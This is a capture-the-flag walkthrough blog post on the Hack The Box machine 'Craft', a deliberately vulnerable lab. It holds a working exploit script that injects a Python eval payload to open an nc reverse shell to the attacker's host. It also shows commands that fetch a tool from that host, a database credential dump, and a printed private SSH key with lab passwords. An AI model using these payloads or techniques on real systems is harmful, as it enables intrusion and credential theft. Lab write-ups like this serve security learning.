Posts Hack The Box - Craft
Post
Cancel

Hack The Box - Craft

My first Medium box! Didn’t think I was capable of doing it so soon haha. I saw that this box was retiring soon so I thought “why not”? Of course, I needed the help of the forums to guide me :P

Configuration

The operating systems that I will be using to tackle this machine is a Kali Linux VM.

What I learnt from other writeups is that it was a good habit to map a domain name to the machine’s IP address so as that it will be easier to remember. This can done by appending a line to /etc/hosts.

1
$ echo "10.10.10.110 craft.htb" >> /etc/hosts

Reconnaissance

Using nmap, we are able to determine the open ports and running services on the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ nmap -sV -sT -sC craft.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-04 00:11 EST
Stats: 0:00:12 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 59.20% done; ETC: 00:11 (0:00:08 remaining)
Stats: 0:00:37 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 91.94% done; ETC: 00:12 (0:00:00 remaining)
Nmap scan report for craft.htb (10.10.10.110)
Host is up (0.25s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey: 
|   2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
|   256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_  256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp open  ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after:  2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.33 seconds

Enumeration (1)

Not much can be done with the ssh service as we do not have any credentials on hand so lets come back to it later. As for the https service, maybe we can find some information on it ?

Nothing much here except for the API and the git icon on the top right. Lets first check out the API.

It was a link to https://api.craft.htb/api/, hence we had to add api.craft.htb to our /etc/hosts for the page to be resolved properly.

1
2
3
$ cat /etc/hosts
...
10.10.10.110 craft.htb api.craft.htb

After playing around with some of the different APIs, what caught my attention was /auth/login. Upon clicking on Execute, I was prompted for credentials.

Since I did not have any credentials, I decided to put this on hold for now. Lets move on the git icon. It was a link to https://gogs.craft.htb, hence we need to modify our /etc/hosts again.

1
2
3
$ cat /etc/hosts
...
10.10.10.110 craft.htb api.craft.htb gogs.craft.htb

So this website is like a private github of some sort? By clicking on Explore, we are able to list all the public repositories, users and organisations on the website.

Oh we found something! There is a repository that might be related to https://api.craft.htb/api!

This repository seems to contain the source code. Lets try looking around.

There was an issue posted which contained the API token, but sadly was expired. In the commits history, I found some credentials!

Looks like Dinesh accidentally commited his credentials and tried to cover it up haha. To check if the credentials are still valid, we returned to https://api.craft.htb/api/ and key them into the prompt for the /auth/login feature.

We managed to get a valid API token! Not much can be done now so I decided to look at the source code for any vulnerabilites.

Exploitation (1)

On https://gogs.craft.htb/Craft/craft-api/src/master/craft_api/api/brew/endpoints/brew.py, there was a certain section that caught my eye.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@ns.route('/')
class BrewCollection(Resource):
    ...
    @auth.auth_required
    @api.expect(beer_entry)
    def post(self):
        """
        Creates a new brew entry.
        """

        # make sure the ABV value is sane.
        if eval('%s > 1' % request.json['abv']):
            return "ABV must be a decimal value less than 1.0", 400
        else:
            create_brew(request.json)
            return None, 201

eval was being called with input from the abv field in the sent JSON for the /brew/ route. This means that whatever python expression we enter in the abv field, it will be executed. Hm…

I decided to search for how to achieve reverse shell from the eval function and I found this post on StackOverflow.

When "__import__('os').system('nc 10.10.XX.XX -e /bin/sh')" is inputted into eval, it will cause the box to connect back to us. I used the below python script to assist in the sending of the payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

authtoken = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False).json()["token"]

exploit = {
        'abv':"__import__(\'os\').system(\'nc 10.10.XX.XX 1337 -e /bin/sh\')",
        "brewer": "string",
        "name": "string",
        "style": "string",
}

headers = {'X-Craft-Api-Token': authtoken}

print(requests.post('https://api.craft.htb/api/brew/', json=exploit, headers=headers, verify=False).content)

With the script ready, we start our listener:

1
2
$ nc -lvnp 1337
listening on [any] 1337 ...

And run our exploit script. Back on our listener, we catch the connection. Wait, we are already root?

1
2
3
4
listening on [any] 1337 ...                                         
connect to [10.10.XX.XX] from (UNKNOWN) [10.10.10.110] 46345                       
id 
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

There was no root.txt at /root, so what is going on?

Enumeration (2)

Lets try running LinEnum to get some insights.

1
2
3
4
5
$ mkdir httpserver
$ cd httpserver
$ cp ~/LinEnum.sh .
$ python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
wget http://10.10.XX.XX/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh
...
[+] Looks like we're in a Docker container:
10:cpuset:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
9:freezer:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
8:memory:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
7:devices:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
6:pids:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
5:blkio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
4:perf_event:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
3:net_cls,net_prio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
2:cpu,cpuacct:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
1:name=systemd:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
-rwxr-xr-x    1 root     root             0 Feb 10  2019 /.dockerenv

Ahh I see, we are in a Docker container. We might need to escape from it if we want to get our flags :P

Looking back at the repository on https://gogs.craft.htb, there was a .gitignore.

1
2
*.pyc
settings.py

The settings.py seemed interesting. It was located at /opt/app/craft_api and it contained a lot of juicy information.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False  # Do not use debug mode in production

# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'

# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False

Nice we got the credentials for a mysql database service running on the box. According to the model schema found at https://gogs.craft.htb/Craft/craft-api/src/master/craft_api/database/models.py, there is a User table containing usernames and passwords.

We can modify this database testing script at https://gogs.craft.htb/Craft/craft-api/src/master/dbtest.py to dump out the table.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try: 
    with connection.cursor() as cursor:
        sql = "SELECT `id`, `username`, `password` FROM `user`"
        cursor.execute(sql)
        result = cursor.fetchall()
        for creds in result:
            print(creds)

finally:
    connection.close()

Running the script gave us more credentials!

1
2
3
4
python dbtest_new.py
{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}
{'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}
{'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}

Lets try logging in to https://gogs.craft.htb using these credentials.

Only dinesh’s and gilfoyle’s credentials worked. However, in gilfoyle’s homepage I noticed another repository but was private.

Looking through the repository, I found a ssh key pair at https://gogs.craft.htb/gilfoyle/craft-infra/src/master/.ssh/id_rsa

user.txt

I downloaded the id_rsa, which is the private key.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDD9Lalqe
qF/F3X76qfIGkIAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQDSkCF7NV2Z
F6z8bm8RaFegvW2v58stknmJK9oS54ZdUzH2jgD0bYauVqZ5DiURFxIwOcbVK+jB39uqrS
zU0aDPlyNnUuUZh1Xdd6rcTDE3VU16roO918VJCN+tIEf33pu2VtShZXDrhGxpptcH/tfS
RgV86HoLpQ0sojfGyIn+4sCg2EEXYng2JYxD+C1o4jnBbpiedGuqeDSmpunWA82vwWX4xx
lLNZ/ZNgCQTlvPMgFbxCAdCTyHzyE7KI+0Zj7qFUeRhEgUN7RMmb3JKEnaqptW4tqNYmVw
pmMxHTQYXn5RN49YJQlaFOZtkEndaSeLz2dEA96EpS5OJl0jzUThAAAD0JwMkipfNFbsLQ
B4TyyZ/M/uERDtndIOKO+nTxR1+eQkudpQ/ZVTBgDJb/z3M2uLomCEmnfylc6fGURidrZi
4u+fwUG0Sbp9CWa8fdvU1foSkwPx3oP5YzS4S+m/w8GPCfNQcyCaKMHZVfVsys9+mLJMAq
Rz5HY6owSmyB7BJrRq0h1pywue64taF/FP4sThxknJuAE+8BXDaEgjEZ+5RA5Cp4fLobyZ
3MtOdhGiPxFvnMoWwJLtqmu4hbNvnI0c4m9fcmCO8XJXFYz3o21Jt+FbNtjfnrIwlOLN6K
Uu/17IL1vTlnXpRzPHieS5eEPWFPJmGDQ7eP+gs/PiRofbPPDWhSSLt8BWQ0dzS8jKhGmV
ePeugsx/vjYPt9KVNAN0XQEA4tF8yoijS7M8HAR97UQHX/qjbna2hKiQBgfCCy5GnTSnBU
GfmVxnsgZAyPhWmJJe3pAIy+OCNwQDFo0vQ8kET1I0Q8DNyxEcwi0N2F5FAE0gmUdsO+J5
0CxC7XoOzvtIMRibis/t/jxsck4wLumYkW7Hbzt1W0VHQA2fnI6t7HGeJ2LkQUce/MiY2F
5TA8NFxd+RM2SotncL5mt2DNoB1eQYCYqb+fzD4mPPUEhsqYUzIl8r8XXdc5bpz2wtwPTE
cVARG063kQlbEPaJnUPl8UG2oX9LCLU9ZgaoHVP7k6lmvK2Y9wwRwgRrCrfLREG56OrXS5
elqzID2oz1oP1f+PJxeberaXsDGqAPYtPo4RHS0QAa7oybk6Y/ZcGih0ChrESAex7wRVnf
CuSlT+bniz2Q8YVoWkPKnRHkQmPOVNYqToxIRejM7o3/y9Av91CwLsZu2XAqElTpY4TtZa
hRDQnwuWSyl64tJTTxiycSzFdD7puSUK48FlwNOmzF/eROaSSh5oE4REnFdhZcE4TLpZTB
a7RfsBrGxpp++Gq48o6meLtKsJQQeZlkLdXwj2gOfPtqG2M4gWNzQ4u2awRP5t9AhGJbNg
MIxQ0KLO+nvwAzgxFPSFVYBGcWRR3oH6ZSf+iIzPR4lQw9OsKMLKQilpxC6nSVUPoopU0W
Uhn1zhbr+5w5eWcGXfna3QQe3zEHuF3LA5s0W+Ql3nLDpg0oNxnK7nDj2I6T7/qCzYTZnS
Z3a9/84eLlb+EeQ9tfRhMCfypM7f7fyzH7FpF2ztY+j/1mjCbrWiax1iXjCkyhJuaX5BRW
I2mtcTYb1RbYd9dDe8eE1X+C/7SLRub3qdqt1B0AgyVG/jPZYf/spUKlu91HFktKxTCmHz
6YvpJhnN2SfJC/QftzqZK2MndJrmQ=
-----END OPENSSH PRIVATE KEY-----

I attempted to ssh to the box. The passphrase was ZEU3N8WNM2rh4T, which was gilfoyle’s password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ chmod 600 id_rsa
$ ssh -i id_rsa gilfoyle@craft.htb 
Enter passphrase for key 'id_rsa': 
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Jan  4 12:04:33 2020 from 10.10.XX.XX
gilfoyle@craft:~$ cat user.txt
bbf4XXXXXXXXXXXXXXXXXXXXXXXXXXXX

Enumeration (3)

In gilfoyle’s private repository, there was a folder called vault. Thinking it was a name for a service, I went to search online and found this.

1
A tool for secrets management, encryption as a service, and privileged access management.

In the folder, I found a script at https://gogs.craft.htb/gilfoyle/craft-infra/src/master/vault/secrets.sh

1
2
3
4
5
6
7
8
9
10
#!/bin/bash

# set up vault secrets backend

vault secrets enable ssh

vault write ssh/roles/root_otp \
    key_type=otp \
    default_user=root \
    cidr_list=0.0.0.0/0

Hmm… Seem like vault is being used to store ssh keys or something? Time to look at the documentation.

root.txt

The commands looked pretty similar. Following the Automate it section, all we have to do is create a new OTP and ssh into the box.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
vault ssh -role root_otp -mode otp root@127.0.0.1
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,                                         
Vault can automatically perform this step for you.                                                                 
OTP for the session is: f80f58e4-6ec7-dcdf-b491-f2ee66a89260


  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |\_________/|/ _ \
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | \_| |
   |  |  |  |  |\___/
   |\_|__|__|_/|
    \_________/



Password: 

The password is simply just the OTP generated for the session, which is f80f58e4-6ec7-dcdf-b491-f2ee66a89260.

1
2
3
4
5
6
7
8
9
10
11
12
Password: 
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~# cat root.txt
831dXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Rooted ! Thank you for reading and look forward for more writeups and articles !

This post is licensed under CC BY 4.0 by the author.